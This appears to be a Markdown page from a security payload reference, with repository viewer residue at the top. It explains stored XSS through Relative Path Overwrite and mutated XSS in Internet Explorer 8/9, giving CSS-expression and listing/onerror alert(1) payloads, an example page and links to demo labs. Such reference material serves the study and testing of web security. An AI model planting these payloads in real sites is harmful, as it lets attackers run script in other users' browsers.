49 lines
2.0 KiB
Markdown
49 lines
2.0 KiB
Markdown
# XSS with Relative Path Overwrite - IE 8/9 and lower
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You need these 3 components
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```javascript
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1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
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2) URL Rewriting.
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3) Relative addressing to CSS style sheet : ../style.css
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```
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A little example
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```html
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http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
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<html>
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<head>
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<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
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<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
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</head>
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<body>
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Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
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</body>
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</html>
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```
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Explanation of the vulnerability
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> The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
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> A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
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Demo 1 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php`
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Demo 2 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3`
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MultiBrowser : `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php`
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From : `http://www.thespanner.co.uk/2014/03/21/rpo/`
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## Mutated XSS for Browser IE8/IE9
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```javascript
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<listing id=x><img src=1 onerror=alert(1)></listing>
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<script>alert(document.getElementById('x').innerHTML)</script>
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```
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IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.
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## References
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- [TODO](TODO) |